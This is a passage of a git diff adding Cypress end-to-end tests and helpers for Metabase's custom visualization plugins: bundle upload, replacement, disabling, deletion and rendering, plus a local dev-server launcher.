+ args: StartCustomVizDevServerArgs,
+): Promise<DevServerHandle> {
+ const port = args.port ?? 5174;
+
+ if (running) {
+ stopCustomVizDevServer(running.pid);
+ }
+
+ const logFilePath = join(tmpdir(), `custom-viz-dev-server-${Date.now()}.log`);
+ const logStream = createWriteStream(logFilePath);
+ const child = spawn("npm", ["run", "dev"], {
+ cwd: args.cwd,
+ shell: true,
+ detached: true,
+ stdio: ["ignore", "pipe", "pipe"],
+ });
+ child.stdout?.pipe(logStream);
+ child.stderr?.pipe(logStream);
+ child.unref();
+
+ if (!child.pid) {
+ throw new Error("Failed to start custom-viz dev server (no pid)");
+ }
+
+ const url = `http://localhost:${port}`;
+
+ // Ensure the dev server is ready and serving the manifest.
+ await waitForHttpOk(`${url}/metabase-plugin.json`, TIMEOUT, logFilePath);
+ running = { pid: child.pid, url };
+ console.log(`Custom viz dev server started at ${url} (log: ${logFilePath})`);
+
+ return running;
+}
+
+export function stopCustomVizDevServer(pid: number): null {
+ if (!pid) {
+ return null;
+ }
+
+ try {
+ process.kill(-pid, "SIGTERM");
+ } catch {
+ try {
+ process.kill(pid, "SIGTERM");
+ } catch {
+ // ignore
+ }
+ }
+
+ if (running?.pid === pid) {
+ running = null;
+ }
+
+ return null;
+}
diff --git a/e2e/support/helpers/e2e-custom-viz-helpers.ts b/e2e/support/helpers/e2e-custom-viz-helpers.ts
new file mode 100644
index 00000000000..c088f6b8c33
--- /dev/null
+++ b/e2e/support/helpers/e2e-custom-viz-helpers.ts
@@ -0,0 +1,94 @@
+export const CUSTOM_VIZ_FIXTURE_TGZ =
+ Cypress.config("projectRoot") +
+ "/e2e/support/assets/example_custom_viz_plugin.tgz";
+
+export const CUSTOM_VIZ_FIXTURE_TGZ_2 =
+ Cypress.config("projectRoot") +
+ "/e2e/support/assets/example_custom_viz_plugin_2.tgz";
+
+// Identifier comes from the manifest's `name` field in the packaged bundle.
+export const CUSTOM_VIZ_IDENTIFIER = "demo-viz";
+
+export const CUSTOM_VIZ_IDENTIFIER_2 = "demo-viz-2";
+
+// Frontend display type: "custom:{identifier}"
+export const CUSTOM_VIZ_DISPLAY = `custom:${CUSTOM_VIZ_IDENTIFIER}` as const;
+
+/**
+ * Compute the SHA-256 of a .tgz fixture on disk via `shasum`. The chip on the
+ * plugin list shows the first 8 chars, so tests that assert on the chip read
+ * the hash through this helper instead of hardcoding it (which would drift
+ * silently when the fixture is regenerated).
+ */
+export function getCustomVizFixtureHash(tgzPath: string) {
+ return cy
+ .exec(`shasum -a 256 ${tgzPath}`)
+ .then(({ stdout }) => stdout.split(" ")[0]);
+}
+
+// -- Intercept helpers --
+
+export function interceptPluginBundle() {
+ cy.intercept("GET", "/api/ee/custom-viz-plugin/*/bundle*").as("pluginBundle");
+}
+
+export function interceptPluginList() {
+ cy.intercept("GET", "/api/ee/custom-viz-plugin/list").as("pluginList");
+}
+
+export function interceptPluginCreate() {
+ cy.intercept("POST", "/api/ee/custom-viz-plugin").as("pluginCreate");
+}
+
+export function interceptPluginRefresh() {
+ cy.intercept("POST", "/api/ee/custom-viz-plugin/*/refresh").as(
+ "pluginRefresh",
+ );
+}
+
+export function waitForPluginBundle() {
+ return cy.wait("@pluginBundle");
+}
+
+// -- Navigation helpers --
+
+export function visitCustomVizSettings() {
+ cy.visit("/admin/settings/custom-visualizations");
+}
+
+export function visitCustomVizNewForm() {
+ cy.visit("/admin/settings/custom-visualizations/new");
+}
+
+export function visitCustomVizDevelopment() {
+ cy.visit("/admin/settings/custom-visualizations/development");
+}
+
+export function visitCustomVizEditForm(id: number) {
+ cy.visit(`/admin/settings/custom-visualizations/edit/${id}`);
+}
+
+// -- UI helpers --
+
+export function getAddVisualizationLink() {
+ return cy.findByRole("link", { name: /Add$/ });
+}
+
+/**
+ * Drop a .tgz onto the custom-viz bundle dropzone.
+ * Accepts a fixture path (string) or a Cypress FileReference for inline buffers.
+ */
+export function dropCustomVizBundle(
+ file: Parameters<Cypress.Chainable["selectFile"]>[0],
+) {
+ return cy.get('input[type="file"]').selectFile(file, { force: true });
+}
+
+/**
+ * Finds the custom viz plugin icon, which `EntityIcon` renders as a
+ * CSS-masked `<span role="img" aria-label={display_name}>` rather than an
+ * `<img>` element — so plain `img[src*=...]` selectors don't match.
+ */
+export function getCustomVizPluginIcon(displayName: string) {
+ return cy.get("main").findByRole("img", { name: displayName });
+}
diff --git a/e2e/support/helpers/e2e-embedding-helpers.js b/e2e/support/helpers/e2e-embedding-helpers.js
index b6a47be7aa7..0d9c851be73 100644
--- a/e2e/support/helpers/e2e-embedding-helpers.js
+++ b/e2e/support/helpers/e2e-embedding-helpers.js
@@ -356,6 +356,25 @@ export function createPublicDocumentLink(documentId) {
return cy.request("POST", `/api/document/${documentId}/public-link`, {});
}
+/**
+ * Create a public link for a document, sign out, and visit it as anonymous.
+ * Accepts a numeric id or a Cypress alias string (e.g. "@documentId").
+ */
+export function visitPublicDocument(documentIdOrAlias) {
+ if (typeof documentIdOrAlias === "number") {
+ visitPublicDocumentById(documentIdOrAlias);
+ return;
+ }
+ cy.get(documentIdOrAlias).then((id) => visitPublicDocumentById(Number(id)));
+}
+
+function visitPublicDocumentById(documentId) {
+ createPublicDocumentLink(documentId).then(({ body: { uuid } }) => {
+ cy.signOut();
+ cy.visit(`/public/document/${uuid}`);
+ });
+}
+
/**
* @param {Object} options
* @param {string} options.url
diff --git a/e2e/support/helpers/e2e-misc-helpers.js b/e2e/support/helpers/e2e-misc-helpers.js
index 8ee9359a1ec..f67bcd91a46 100644
--- a/e2e/support/helpers/e2e-misc-helpers.js
+++ b/e2e/support/helpers/e2e-misc-helpers.js
@@ -102,18 +102,22 @@ export const cypressWaitAll = function (commands) {
* Visit a question and wait for its query to load.
*
* @param {number|string} questionIdOrAlias
+ * @param {object} [options]
+ * @param {(window: Cypress.AUTWindow) => void} [options.onBeforeLoad]
*/
-export function visitQuestion(questionIdOrAlias) {
+export function visitQuestion(questionIdOrAlias, { onBeforeLoad } = {}) {
if (typeof questionIdOrAlias === "number") {
- return visitQuestionById(questionIdOrAlias);
+ return visitQuestionById(questionIdOrAlias, { onBeforeLoad });
}
if (typeof questionIdOrAlias === "string") {
- return cy.get(questionIdOrAlias).then((id) => visitQuestionById(id));
+ return cy
+ .get(questionIdOrAlias)
+ .then((id) => visitQuestionById(id, { onBeforeLoad }));
}
}
-function visitQuestionById(id) {
+function visitQuestionById(id, { onBeforeLoad } = {}) {
// In case we use this function multiple times in a test, make sure aliases are unique for each question
const alias = "cardQuery" + id;
const metadataAlias = `${alias}-queryMetadata`;
@@ -122,7 +126,10 @@ function visitQuestionById(id) {
cy.intercept("POST", `/api/card/**/${id}/query`).as(alias);
cy.intercept("GET", `/api/card/**/${id}/query_metadata`).as(metadataAlias);
- cy.visit(`/question/${id}`);
+ cy.visit({
+ url: `/question/${id}`,
+ onBeforeLoad,
+ });
cy.wait("@" + metadataAlias);
cy.wait("@" + alias);
@@ -304,6 +311,7 @@ export function saveQuestion(
cy.findByLabelText(/Replace original question/i).should("be.checked");
cy.button("Save").click();
});
+ return;
}
if (shouldSaveAsNewQuestion) {
modal().within(() => {
diff --git a/e2e/support/helpers/index.ts b/e2e/support/helpers/index.ts
index dcea1ddab90..59210d611c9 100644
--- a/e2e/support/helpers/index.ts
+++ b/e2e/support/helpers/index.ts
@@ -12,6 +12,7 @@ export * from "./e2e-collection-helpers";
export * from "./e2e-command-palette-helpers";
export * from "./e2e-comment-helpers";
export * from "./e2e-custom-column-helpers";
+export * from "./e2e-custom-viz-helpers";
export * from "./e2e-dashboard-helpers";
export * from "./e2e-dashboard-visualizer-helpers";
export * from "./e2e-data-studio-helpers";
diff --git a/e2e/test/scenarios/visualizations-charts/custom-viz.cy.spec.ts b/e2e/test/scenarios/visualizations-charts/custom-viz.cy.spec.ts
new file mode 100644
index 00000000000..1dcd1572d9f
--- /dev/null
+++ b/e2e/test/scenarios/visualizations-charts/custom-viz.cy.spec.ts
@@ -0,0 +1,2506 @@
+import { SAMPLE_DB_TABLES, USER_GROUPS } from "e2e/support/cypress_data";
+import {
+ type DashboardDetails,
+ type StructuredQuestionDetails,
+ adminAppLinkText,
+ mainAppLinkText,
+} from "e2e/support/helpers";
+import { checkNotNull } from "metabase/utils/types";
+import type {
+ CardId,
+ CustomVizPlugin,
+ DashboardId,
+ DocumentContent,
+ Parameter,
+} from "metabase-types/api";
+
+const { H } = cy;
+
+const { ALL_USERS_GROUP } = USER_GROUPS;
+const AGGREGATED_VALUE = "18760";
+const AGGREGATED_VALUE_FORMATTED = "18,760";
+
+function drillThroughDemoVizClick() {
+ cy.intercept("POST", "/api/dataset").as("demoVizDrillDataset");
+ cy.findByTestId("demo-viz-click-target").click();
+ cy.findByTestId("click-actions-view")
+ .findByText(/See these Orders/)
+ .should("be.visible")
+ .click();
+ cy.wait("@demoVizDrillDataset");
+}
+
+function buildDocumentWithCustomVizCard(cardId: CardId): DocumentContent {
+ return {
+ type: "doc",
+ content: [
+ {
+ type: "paragraph",
+ attrs: { _id: "1" },
+ content: [{ type: "text", text: "Custom viz embedded below:" }],
+ },
+ {
+ type: "resizeNode",
+ attrs: { height: 400, minHeight: 280 },
+ content: [
+ {
+ type: "cardEmbed",
+ attrs: { id: cardId, name: null, _id: "2" },
+ },
+ ],
+ },
+ { type: "paragraph", attrs: { _id: "3" } },
+ ],
+ };
+}
+
+describe("admin > custom visualizations", () => {
+ beforeEach(() => {
+ H.restore("postgres-writable");
+ cy.signInAsAdmin();
+ });
+
+ describe("feature gating", () => {
+ describe("EE", () => {
+ it("should show upsell when feature is locked", () => {
+ // No token activation — feature is locked
+ H.visitCustomVizSettings();
+
+ cy.findByRole("heading", {
+ name: /Build your own visualizations/,
+ }).should("be.visible");
+ H.getAddVisualizationLink().should("not.exist");
+ });
+
+ it("should enable and disable custom visualizations", () => {
+ H.activateToken("bleeding-edge");
+
+ H.visitCustomVizSettings();
+
+ H.main()
+ .findByRole("button", { name: /Enable custom visualizations/ })
+ .should("be.visible")
+ .click();
+
+ H.getAddVisualizationLink().should("be.visible");
+
+ H.main()
+ .findByRole("button", { name: /More options/ })
+ .click();
+ H.popover().findByText("Deactivate custom visualizations").click();
+
+ H.main()
+ .findByRole("heading", { name: "Add a new visualization" })
+ .should("not.exist");
+ H.main()
+ .findByRole("heading", { name: "Enable custom visualizations" })
+ .should("be.visible");
+ });
+
+ it('should not show custom visualizations page to non-admins with "Settings access" permission', () => {
+ H.activateToken("bleeding-edge");
+ H.updateAdvancedPermissionsGraph({
+ [ALL_USERS_GROUP]: { setting: "yes" },
+ });
+ cy.signInAsNormalUser();
+
+ cy.visit("/admin/settings/custom-visualizations");
+ H.main().should(
+ "include.text",
+ "Sorry, you don’t have permission to see that.",
+ );
+
+ H.goToAdmin();
+ cy.findByTestId("admin-layout-sidebar")
+ .findByText("Custom visualizations")
+ .should("not.exist");
+ });
+
+ it("should not show nested sidebar navigation when custom viz plugin dev mode is disabled", () => {
+ cy.intercept("GET", "/api/session/properties", (req) => {
+ req.continue((res) => {
+ res.body["custom-viz-plugin-dev-mode-enabled"] = false;
+ });
+ });
+
+ H.activateToken("bleeding-edge");
+ H.updateSetting("custom-viz-enabled", true);
+ H.visitCustomVizSettings();
+ H.getAddVisualizationLink().click();
+
+ cy.findByTestId("admin-layout-sidebar")
+ .findByRole("link", { name: /Development/ })
+ .should("not.exist");
+ cy.findByTestId("admin-layout-sidebar")
+ .findByRole("link", { name: /Manage visualizations/ })
+ .should("not.exist");
+ cy.findByTestId("admin-layout-sidebar")
+ .findByRole("link", { name: /Custom visualizations/ })
+ .should("have.attr", "data-active", "true");
+
+ H.dropCustomVizBundle(H.CUSTOM_VIZ_FIXTURE_TGZ);
+ cy.findByRole("button", { name: "Add visualization" }).click();
+
+ H.main().findByText("demo-viz").realHover();
+ cy.findByRole("button", { name: "Plugin actions" }).click();
+ H.popover().findByText("Replace bundle").click();
+
+ cy.findByTestId("admin-layout-sidebar")
+ .findByRole("link", { name: /Custom visualizations/ })
+ .should("have.attr", "data-active", "true");
+ });
+ });
+
+ describe("OSS", { tags: "@OSS" }, () => {
+ it("should show upsell when feature is locked", () => {
+ H.visitCustomVizSettings();
+
+ cy.findByRole("heading", {
+ name: /Build your own visualizations/,
+ }).should("be.visible");
+ cy.findByRole("link", { name: "Try for free" }).should("be.visible");
+ H.getAddVisualizationLink().should("not.exist");
+ });
+ });
+ });
+
+ describe("admin settings page", () => {
+ beforeEach(() => {
+ H.activateToken("bleeding-edge");
+ H.updateSetting("custom-viz-enabled", true);
+ });
+
+ it("should add a plugin via the form and show it in the list", () => {
+ H.resetSnowplow();
+ H.enableTracking();
+ H.visitCustomVizSettings();
+
+ H.getAddVisualizationLink().click();
+
+ cy.log("Submit is disabled until a file is selected");
+ cy.findByRole("button", { name: "Add visualization" }).should(
+ "be.disabled",
+ );
+
+ H.dropCustomVizBundle(H.CUSTOM_VIZ_FIXTURE_TGZ);
+ cy.findByRole("button", { name: "Add visualization" }).should(
+ "be.enabled",
+ );
+
+ H.interceptPluginCreate();
+ cy.findByRole("button", { name: "Add visualization" }).click();
+ cy.wait("@pluginCreate");
+
+ cy.log("Should redirect to the list and show the plugin");
+ H.main().findByText("demo-viz").should("be.visible");
+ H.expectUnstructuredSnowplowEvent({
+ event: "custom_viz_plugin_created",
+ result: "success",
+ });
+ H.expectNoBadSnowplowEvents();
+ });
+
+ it("should display manifest information and bundle hash after upload", () => {
+ H.addCustomVizPlugin(H.CUSTOM_VIZ_FIXTURE_TGZ);
+ H.visitCustomVizSettings();
+ H.getCustomVizPluginIcon("demo-viz").should("be.visible");
+ H.main().findByText("demo-viz").should("be.visible");
+
+ cy.log(
+ "Bundle hash chip is the first 8 chars of the fixture's deterministic SHA-256",
+ );
+ H.getCustomVizFixtureHash(H.CUSTOM_VIZ_FIXTURE_TGZ).then((hash) => {
+ H.main()
+ .findByText(`Bundle: ${hash.slice(0, 8)}`)
+ .should("be.visible");
+ });
+
+ H.main()
+ .findByText(/^Requires Metabase /)
+ .should("be.visible");
+ });
+
+ it("should surface an inline error for an invalid bundle", () => {
+ H.visitCustomVizNewForm();
+
+ cy.findByRole("link", { name: /Manage visualizations/ }).should(
+ "have.attr",
+ "data-active",
+ "true",
+ );
+
+ cy.log("Upload a non-tar.gz file so the BE rejects it.");
+ H.dropCustomVizBundle({
+ contents: Cypress.Buffer.from("not a tarball"),
+ fileName: "broken.tgz",
+ mimeType: "application/gzip",
+ });
+
+ cy.intercept("POST", "/api/ee/custom-viz-plugin").as(
+ "pluginCreateInvalid",
+ );
+ cy.findByRole("button", { name: "Add visualization" }).click();
+
+ cy.wait("@pluginCreateInvalid")
+ .its("response.statusCode")
+ .should("eq", 400);
+
+ cy.log("Error is surfaced inline in the form");
+ cy.findByTestId("custom-viz-settings-form").within(() => {
+ cy.findByText(/Bundle is not a valid tar\.gz archive/).should(
+ "be.visible",
+ );
+ });
+
+ cy.location("pathname").should(
+ "eq",
+ "/admin/settings/custom-visualizations/new",
+ );
+ });
+
+ it("should support multiple plugins", () => {
+ H.addCustomVizPlugin(H.CUSTOM_VIZ_FIXTURE_TGZ);
+ H.addCustomVizPlugin(H.CUSTOM_VIZ_FIXTURE_TGZ_2);
+ H.visitCustomVizSettings();
+
+ H.main().findByText("demo-viz").should("be.visible");
+ H.main().findByText("demo-viz-2").should("be.visible");
+
+ // Both plugins should be available in chart type selector
+ H.openOrdersTable({ limit: 1 });
+ cy.findByTestId("viz-type-button").click();
+ H.main().findByText("Custom visualizations").should("be.visible").click();
+ H.main().findByText("demo-viz").should("be.visible");
+ H.main().findByText("demo-viz-2").should("be.visible");
+ });
+
+ describe("with an installed plugin", () => {
+ beforeEach(() => {
+ H.addCustomVizPlugin(H.CUSTOM_VIZ_FIXTURE_TGZ);
+ H.visitCustomVizSettings();
+ });
+
+ it("should display plugin details in the list", () => {
+ H.main().findByText("demo-viz").should("be.visible");
+ H.getCustomVizFixtureHash(H.CUSTOM_VIZ_FIXTURE_TGZ).then((hash) => {
+ H.main()
+ .findByText(`Bundle: ${hash.slice(0, 8)}`)
+ .should("be.visible");
+ });
+ });
+ });
+
+ describe("updating a plugin", () => {
+ beforeEach(() => {
+ H.activateToken("bleeding-edge");
+ });
+
+ it("should replace the bundle via the edit form", () => {
+ H.resetSnowplow();
+ H.enableTracking();
+ H.addCustomVizPlugin(H.CUSTOM_VIZ_FIXTURE_TGZ).then(
+ (plugin: CustomVizPlugin) => {
+ H.visitCustomVizSettings();
+
+ cy.log(
+ "Replace bundle is reachable only via the row's Plugin actions menu — clicking the row itself does not navigate",
+ );
+ H.main().findByText("demo-viz").click();
+ cy.findByRole("heading", {
+ name: /Replace bundle for/,
+ }).should("not.exist");
+
+ // Actions menu is only visible on row hover
+ H.main().findByText("demo-viz").realHover();
+ cy.findByRole("button", { name: "Plugin actions" }).click();
+ H.popover().findByText("Replace bundle").click();
+
+ cy.findByRole("heading", {
+ name: "Replace bundle for demo-viz",
+ }).should("be.visible");
+
+ H.dropCustomVizBundle(H.CUSTOM_VIZ_FIXTURE_TGZ);
+
+ cy.intercept(
+ "PUT",
+ `/api/ee/custom-viz-plugin/${plugin.id}/bundle`,
+ ).as("pluginBundleReplace");
+ cy.findByRole("button", { name: /Replace$/ }).click();
+
+ cy.wait("@pluginBundleReplace")
+ .its("response.statusCode")
+ .should("eq", 200);
+
+ cy.log("Should redirect back to the list page");
+ cy.location("pathname").should(
+ "eq",
+ "/admin/settings/custom-visualizations",
+ );
+ H.main().findByText("demo-viz").should("be.visible");
+ H.expectUnstructuredSnowplowEvent({
+ event: "custom_viz_plugin_updated",
+ result: "success",
+ });
+ H.expectNoBadSnowplowEvents();
+ },
+ );
+ });
+
+ it("should surface an inline error when replacing with a non-matching bundle", () => {
+ H.addCustomVizPlugin(H.CUSTOM_VIZ_FIXTURE_TGZ).then(
+ (plugin: CustomVizPlugin) => {
+ H.visitCustomVizEditForm(plugin.id);
+
+ cy.findByRole("link", { name: /Manage visualizations/ }).should(
+ "have.attr",
+ "data-active",
+ "true",
+ );
+
+ cy.log(
+ 'The 2nd fixture has manifest.name = "demo-viz-2" — BE rejects because it does not match the existing identifier',
+ );
+ H.dropCustomVizBundle(H.CUSTOM_VIZ_FIXTURE_TGZ_2);
+
+ cy.intercept(
+ "PUT",
+ `/api/ee/custom-viz-plugin/${plugin.id}/bundle`,
+ ).as("pluginBundleReplaceInvalid");
+ cy.findByRole("button", { name: /Replace$/ }).click();
+
+ cy.wait("@pluginBundleReplaceInvalid")
+ .its("response.statusCode")
+ .should("eq", 400);
+
+ cy.findByTestId("custom-viz-settings-form").within(() => {
+ cy.findByText(/does not match the plugin's identifier/).should(
+ "be.visible",
+ );
+ });
+
+ cy.location("pathname").should(
+ "eq",
+ `/admin/settings/custom-visualizations/edit/${plugin.id}`,
+ );
+ },
+ );
+ });
+ });
+
+ describe("disabling a plugin", () => {
+ beforeEach(() => {
+ H.activateToken("bleeding-edge");
+ });
+
+ it("disabled plugin should fall back to default display and hide from chart type selector", () => {
+ H.resetSnowplow();
+ H.enableTracking();
+ H.addCustomVizPlugin(H.CUSTOM_VIZ_FIXTURE_TGZ).then(() => {
+ // Single-value question (Count of Orders) — demo-viz requires
+ // exactly one row with one numeric column.
+ H.createQuestion(
+ {
+ name: "Custom Viz Disable Test",
+ query: {
+ "source-table": SAMPLE_DB_TABLES.STATIC_ORDERS_ID,
+ aggregation: [["count"]],
+ },
+ display: H.CUSTOM_VIZ_DISPLAY,
+ },
+ { wrapId: true, idAlias: "disableCardId", visitQuestion: true },
+ );
+ H.main()
+ .findByText("Custom viz rendered successfully")
+ .should("be.visible");
+
+ H.getProfileLink().click();
+ H.popover().findByText(adminAppLinkText).click();
+
+ cy.findByTestId("admin-layout-sidebar")
+ .findByText("Custom visualizations")
+ .click();
+
+ cy.findByTestId("admin-layout-sidebar")
+ .findByText("Manage visualizations")
+ .should("be.visible")
+ .click();
+
+ // Actions menu is only visible on row hover
+ H.main().findByText("demo-viz").realHover();
+ cy.findByRole("button", { name: "Plugin actions" }).click();
+ H.popover().findByText("Disable").click();
+ H.expectUnstructuredSnowplowEvent({
+ event: "custom_viz_plugin_toggled",
+ event_detail: "disabled",
+ });
+
+ // Menu should now show "Enable" instead of "Disable"
+ H.main().findByText("demo-viz").realHover();
+ cy.findByRole("button", { name: "Plugin actions" }).click();
+ H.popover().findByText("Enable").should("be.visible");
+
+ H.getProfileLink().click();
+ H.popover().findByText(mainAppLinkText).click();
+
+ cy.get("main").within(() => {
+ cy.contains("Custom Viz Disable Test").click();
+ });
+ // Reload the question — plugin is disabled, should fall back
+
+ cy.log("make sure viz is table - fallback");
+ cy.findByTestId("table-root").should("be.visible");
+
+ // Custom viz section should not appear in chart type selector
+ cy.findByTestId("viz-type-button").click();
+ cy.findByText("Custom visualizations").should("not.exist");
+ H.expectNoBadSnowplowEvents();
+
+ cy.log("make sure fallback is used after reload");
+ cy.reload();
+ cy.findByText("Custom visualizations").should("not.exist");
+ });
+ });
+ });
+
+ describe("deleting a plugin", () => {
+ beforeEach(() => {
+ H.activateToken("bleeding-edge");
+ });
+
+ it("question should fall back when plugin is deleted", () => {
+ H.resetSnowplow();
+ H.enableTracking();
+ H.addCustomVizPlugin(H.CUSTOM_VIZ_FIXTURE_TGZ).then(() => {
+ H.createQuestion(
+ {
+ name: "Custom Viz Delete Test",
+ query: {
+ "source-table": SAMPLE_DB_TABLES.STATIC_ORDERS_ID,
+ aggregation: [["count"]],
+ },
+ display: H.CUSTOM_VIZ_DISPLAY,
+ },
+ { wrapId: true, idAlias: "deleteCardId" },
+ );
+
+ H.visitCustomVizSettings();
+
+ // Delete the plugin (actions menu is only visible on row hover)
+ H.main().findByText("demo-viz").realHover();
+ cy.findByRole("button", { name: "Plugin actions" }).click();
+ H.popover().findByText("Remove").click();
+
+ H.modal().within(() => {
+ cy.findByText("Remove this visualization?").should("be.visible");
+ cy.findByRole("button", { name: "Remove" }).click();
+ });
+
+ H.main()
+ .findByText("You don't have any custom visualizations.")
+ .should("be.visible");
+ H.expectUnstructuredSnowplowEvent({
+ event: "custom_viz_plugin_deleted",
+ });
+
+ // Visit the question — should fall back to table
+ H.visitQuestion("@deleteCardId");
+ cy.findByTestId("table-root").should("be.visible");
+
+ // Custom viz section should not appear in chart type selector
+ cy.findByTestId("viz-type-button").click();
+ cy.findByText("Custom visualizations").should("not.exist");
+ H.expectNoBadSnowplowEvents();
+ });
+ });
+ });
+ });
+
+ describe("using a plugin — question", () => {
+ beforeEach(() => {
+ H.activateToken("bleeding-edge");
+ H.updateSetting("custom-viz-enabled", true);
+ H.addCustomVizPlugin(H.CUSTOM_VIZ_FIXTURE_TGZ);
+
+ // Default-view (table) Count-of-Orders card — demo-viz requires
+ // exactly one row with one numeric column.
+ H.createQuestion(
+ {
+ name: "Custom Viz Question Test",
+ query: {
+ "source-table": SAMPLE_DB_TABLES.STATIC_ORDERS_ID,
+ aggregation: [["count"]],
+ },
+ display: "table",
+ },
+ { wrapId: true, idAlias: "questionId" },
+ );
+ });
+
+ function switchToDemoViz() {
+ cy.findByTestId("viz-type-button").click();
+ cy.findByTestId("custom-viz-plugins-toggle").click();
+ cy.findByTestId("demo-viz-button").click();
+ // Close the picker so the viz is visible for interaction
+ cy.findByTestId("viz-type-button").click();
+ }
+
+ it("renders the selected custom viz for the question", () => {
+ H.resetSnowplow();
+ H.enableTracking();
+ H.visitQuestion("@questionId");
+ switchToDemoViz();
+
+ H.main()
+ .findByText("Custom viz rendered successfully")
+ .should("be.visible");
+ H.main()
+ .findByText(/Value: \d+/)
+ .should("be.visible");
+ // Default threshold from getDefault
+ H.main().findByText("Threshold: 0").should("be.visible");
+ H.expectUnstructuredSnowplowEvent({ event: "custom_viz_selected" });
+ H.expectNoBadSnowplowEvents();
+ });
+
+ it("persists the selected custom viz and its settings across reloads", () => {
+ H.visitQuestion("@questionId");
+ switchToDemoViz();
+
+ cy.findByTestId("viz-settings-button").click();
+ cy.findByTestId("chartsettings-sidebar")
+ .findByPlaceholderText("Set threshold")
+ .clear()
+ .type("42")
+ .blur();
+
+ H.saveSavedQuestion();
+
+ H.interceptPluginBundle();
+ cy.reload();
+ cy.wait("@pluginBundle");
+
+ H.main()
+ .findByText("Custom viz rendered successfully")
+ .should("be.visible");
+ H.main().findByText("Threshold: 42").should("be.visible");
+ });
+
+ describe("errors", () => {
+ it("renders errors thrown by the plugin component", () => {
+ // Multi-column question — checkRenderable throws
+ // "Query results should only have 1 column".
+ H.createQuestion(
+ {
+ name: "Custom Viz Error — Multi Column",
+ query: {
+ "source-table": SAMPLE_DB_TABLES.STATIC_ORDERS_ID,
+ limit: 5,
+ },
+ display: H.CUSTOM_VIZ_DISPLAY,
+ },
+ { visitQuestion: true },
+ );
+
+ H.main()
+ .findByText(/Query results should only have 1 column/)
+ .should("be.visible");
+ });
+
+ it("shows an error state when the plugin bundle fails to load", () => {
+ cy.intercept("GET", "/api/ee/custom-viz-plugin/*/bundle*", {
+ statusCode: 500,
+ body: "boom",
+ }).as("failedBundle");
+
+ H.createQuestion(
+ {
+ name: "Custom Viz — Failing Bundle",
+ query: {
+ "source-table": SAMPLE_DB_TABLES.STATIC_ORDERS_ID,
+ aggregation: [["count"]],
+ },
+ display: H.CUSTOM_VIZ_DISPLAY,
+ },
+ { visitQuestion: true },
+ );
+ cy.wait("@failedBundle");
+
+ H.undoToastList()
+ .findByText(/"demo-viz" visualization is currently unavailable/)
+ .should("be.visible");
+ });
+
+ it("falls back to the default viz when the bundle endpoint fails, then recovers on revisit", () => {
+ const bundleMatcher = {
+ method: "GET",
+ pathname: "/api/ee/custom-viz-plugin/*/bundle",
+ };
+
+ cy.intercept(bundleMatcher, {
+ statusCode: 503,
+ body: { error: "Bundle not available" },
+ }).as("bundleUnavailable");
+
+ H.createQuestion(
+ {
+ name: "Custom Viz — Bundle Recovery",
+ query: {
+ "source-table": SAMPLE_DB_TABLES.STATIC_ORDERS_ID,
+ aggregation: [["count"]],
+ },
+ display: H.CUSTOM_VIZ_DISPLAY,
+ },
+ { wrapId: true, idAlias: "recoveryCardId", visitQuestion: true },
+ );
+
+ cy.findByTestId("visualization-root")
+ .findByTestId("table-root")
+ .should("be.visible");
+
+ H.undoToastList()
+ .findByText(/visualization is currently unavailable/i)
+ .should("be.visible");
+
+ cy.intercept(bundleMatcher, (req) => req.continue()).as(
+ "bundleRestored",
+ );
+
+ cy.reload();
+
+ H.main()
+ .findByText("Custom viz rendered successfully")
+ .should("be.visible");
+ });
+ });
+
+ it("falls back to the default viz on a public question (metabase#GDGT-2234)", () => {
+ H.updateSetting("enable-public-sharing", true);
+
+ H.createQuestion(
+ {
+ name: "Public Custom Viz Fallback",
+ query: {
+ "source-table": SAMPLE_DB_TABLES.STATIC_ORDERS_ID,
+ aggregation: [["count"]],
+ },
+ display: H.CUSTOM_VIZ_DISPLAY,
+ },
+ { wrapId: true, idAlias: "publicQuestionId" },
+ );
+
+ cy.get<CardId>("@publicQuestionId").then(H.visitPublicQuestion);
+
+ cy.findByTestId("table-root").should("be.visible");
+ });
+
+ it("falls back to the default viz on an embedded question", () => {
+ cy.get<CardId>("@questionId").then((questionId) => {
+ cy.request("PUT", `/api/card/${questionId}`, {
+ enable_embedding: true,
+ });
+
+ H.visitEmbeddedPage({
+ resource: { question: questionId },
+ params: {},
+ });
+ });
+
+ cy.findByTestId("table-root").should("be.visible");
+ });
+
+ it("calls onClick when the viz fires a click", () => {
+ H.visitQuestion("@questionId");
+ switchToDemoViz();
+
+ H.main()
+ .findByText("Custom viz rendered successfully")
+ .should("be.visible");
+
+ drillThroughDemoVizClick();
+
+ // Drill opens an ad-hoc question showing the underlying Orders rows
+ H.queryBuilderHeader().findByText("Orders").should("be.visible");
+ H.tableInteractive().findByText("37.65").should("be.visible");
+ });
+
+ it("calls onHover and renders a tooltip", () => {
+ H.visitQuestion("@questionId");
+ switchToDemoViz();
+
+ cy.findByTestId("demo-viz-hover-target").realHover();
+
+ H.tooltip().should("contain.text", AGGREGATED_VALUE_FORMATTED);
+ });
+
+ it("renders a pinned custom-viz question in the collection view", () => {
+ H.visitQuestion("@questionId");
+ switchToDemoViz();
+ H.saveSavedQuestion();
+
+ cy.get("@questionId").then((id) => {
+ cy.request("PUT", `/api/card/${id}`, { collection_position: 1 });
+ });
+
+ // Navigate to the collection via the question header's collection badge
+ cy.findByRole("link", { name: /Our analytics/ }).click();
+
+ H.getPinnedSection().within(() => {
+ cy.findByText("Custom Viz Question Test").should("be.visible");
+ cy.findByText("Custom viz rendered successfully").should("be.visible");
+ });
+ });
+
+ it("passes the user's locale to the plugin and updates when the user changes it", () => {
+ H.visitQuestion("@questionId");
+ switchToDemoViz();
+ H.saveSavedQuestion();
+
+ // Default user locale is "en"
+ cy.findByTestId("demo-viz-locale").should("have.text", "Locale: en");
+
+ // Change the current user's locale to German. The plugin factory runs
+ // again on the next full page load with the new locale value.
+ cy.request("GET", "/api/user/current").then(({ body: user }) => {
+ cy.request("PUT", `/api/user/${user.id}`, { locale: "de" });
+ });
+
+ H.interceptPluginBundle();
+ cy.reload();
+ cy.wait("@pluginBundle");
+
+ cy.findByTestId("demo-viz-locale").should("have.text", "Locale: de");
+ });
+ });
+
+ describe("using a plugin — dashboard", () => {
+ beforeEach(() => {
+ H.activateToken("bleeding-edge");
+ H.updateSetting("custom-viz-enabled", true);
+ H.addCustomVizPlugin(H.CUSTOM_VIZ_FIXTURE_TGZ);
+ });
+
+ const customVizQuestionDetails: StructuredQuestionDetails = {
+ name: "Custom Viz Dashboard Question",
+ query: {
+ "source-table": SAMPLE_DB_TABLES.STATIC_ORDERS_ID,
+ aggregation: [["count"]],
+ },
